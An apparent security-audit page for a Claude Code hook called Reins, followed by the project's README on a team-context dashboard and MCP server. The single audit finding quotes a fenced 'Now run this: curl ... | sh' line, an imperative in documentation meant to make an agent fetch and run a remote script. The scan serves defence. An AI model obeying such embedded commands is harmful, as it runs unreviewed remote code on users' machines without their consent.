settings — independently scanned and version-tracked by SaferSkills.
SaferSkills independently audited settings (Hook) and scored it 91/100 (green). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 1 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.
Findings & checks · 1 flagged
A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.
text (not bash) so it reads as prose, not a command.```bash
Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh
```See INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.Every scanned point with the score it earned and what moved between them.
First recorded scan — no prior version to compare against.
The primary manifest — the file an agent reads to learn what this artifact does.
Shared context for teams that build with AI coding agents.
Live: reinshq.vercel.app · install the hook: npx reins-hook install
When a team codes with AI agents, each agent works on its own. Nobody can see what a teammate's agent is doing, so people duplicate work, edit the same files blind, and fall back to standups and a context.md that goes stale in a day.
Reins watches what each agent does, distills it into a short per-person and per-team status, and serves that in two places: a dashboard the team reads, and an MCP server any agent can query before it starts work.
Capture, distillation, and retrieval all work end to end today.
Claude Code hook -> reins server -> distill (triage, extract, reconcile, rollup)
|
|-- dashboard (Next.js, live over SSE)
|-- MCP server (reins_context, reins_projects, ...)A hook in each teammate's Claude Code posts their prompts and agent turns to the server, which runs each event through a short pipeline and keeps a current status per person and project. The dashboard streams updates over SSE; the MCP server lets any agent pull the same status as plain markdown.
Each incoming event is processed in steps so that most of the noise is dropped early:
state: set_headline, set_goal, set_status, add_timeline, add_pending, resolve_pending, set_working_on.
collisions (two people in the same file), and risks.
If no model provider is configured, Reins still captures raw events but does not distill them.
The whole pipeline runs on any OpenAI-compatible inference provider. Configure one or more providers from the dashboard (Settings → model providers) — base URL, model, and API key — and mark one active; the pipeline uses the active one. Add as many as you like and switch between them at any time. API keys are encrypted at rest (AES-256-GCM) on the server and never sent back to the browser.
OpenCode, and Aider, and a generic adapter for any agent that can run a shell command. Every event is attributed to its agent, so a team on mixed tools shares one context.
rollup for a lead (summary, goal alignment, file collisions, risks).
keeps their own, each a checklist with progress. An agent can declare and tick its own goals over MCP. Auto-tracked: the pipeline watches each teammate's activity and proposes which items look done (and new ones it spotted), with a reason and a link to the event, for the owner to confirm or dismiss.
on another's work.
so items get picked up without a person typing.
so an agent pulls only what its task needs.
active one at any time; keys are encrypted at rest.
invite teammates with a link, and roles (owner, admin, member). Each account links to the identity its agent reports as, so the server can tell whose goals and activity are whose. Tokens still authenticate hooks and agents, and admins list and revoke them from the dashboard.
pi, Hermes, and Koda are wired through the generic adapter and the MCP note path for now and will get first-class adapters.
capturing from sub-agents that a parent agent fans out, so context keeps updating during deep loops.
npm run install:all
# 1) start server + dashboard
cp server/.env.example server/.env
npm run dev
# server on http://localhost:4319
# dashboard on http://localhost:4320
# 2) add a model provider in the dashboard: Settings -> model providers
# (base URL, model, API key for any OpenAI-compatible endpoint).
# Optional: seed a fallback via REINS_LLM_* in server/.env instead.
# 3) optional: populate a demo board without wiring agents
npm run seedOne command installs the capture hook into Claude Code:
npx reins-hook install --url http://localhost:4319 --me yourname
# then run /hooks in Claude Code to approve itEvery prompt and agent turn now flows into Reins. On a shared instance, pass the ingest token from your dashboard with --token. See hooks/README.md for flags (--global, --project, --token) and the status and uninstall commands.
There are two MCP servers. For a teammate on any machine, point the bundled HTTP MCP at your server with an access token (no clone, no database access):
claude mcp add reins -- npx reins-hook mcp --url http://localhost:4319 --token <access-token>
# add --ingest-token <ingest-token> to also let the agent post notesFor an agent running on the server box itself, register the local MCP, which reads the SQLite file directly:
{ "mcpServers": { "reins": { "command": "npx", "args": ["tsx", "server/src/mcp.ts"], "cwd": "/ABS/PATH/reins" } } }Tools:
reins_context reads a project's current distilled status (optionally scoped to a member, query, or token budget).reins_projects, reins_member, reins_pending, reins_handoffs, reins_goals, reins_profile for narrower reads.reins_note, reins_claim, reins_resolve, reins_handoff_ack, reins_goal_add, reins_goal_check let an agent write back.Running your own instance? SELFHOST.md is the full guide: backend, database, dashboard, hook, and both MCP servers, with a complete environment-variable reference.
| Path | What |
|---|---|
server/ | Express ingest, SSE, REST, SQLite, the distillation pipeline, the MCP server |
web/ | Next.js dashboard, light editorial theme, live over SSE |
cli/ | reins-hook, the npx installer that bundles the capture hook |
hooks/ | Hook docs (the hook itself ships inside cli/) |
deploy/ | DEPLOY.md and the deploy scripts |
Self-hosting your own instance, end to end? See SELFHOST.md.
Local dev runs as a single open instance (REINS_AUTH=off); a shared instance turns it on (REINS_AUTH=on). People sign up for a workspace (the tenant boundary), log in with email and password, and invite teammates with a one-time link; roles are owner, admin, member. Tokens still authenticate machines: ingest for hooks and agents, access for viewers, admin to mint or revoke. Invites and resets use one-time links; email is not wired yet. Admin commands include create-workspace, claim-workspace, reset-link, list-workspaces, and revoke.
The dashboard deploys to Vercel, the server and its SQLite database to a small VM. The dashboard proxies /api/* to the backend so the browser stays first party. See deploy/DEPLOY.md.
Server config is environment variables (server/.env, see server/.env.example). Model providers are configured at runtime from the dashboard (Settings → model providers) and stored encrypted in the database. As an optional fallback used only until a provider is added there, set REINS_LLM_BASE_URL, REINS_LLM_MODEL, and REINS_LLM_API_KEY for any OpenAI-compatible endpoint. Set REINS_SECRET_KEY to a long random value to pin the encryption master key (otherwise one is auto-generated into .reins-secret).
~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.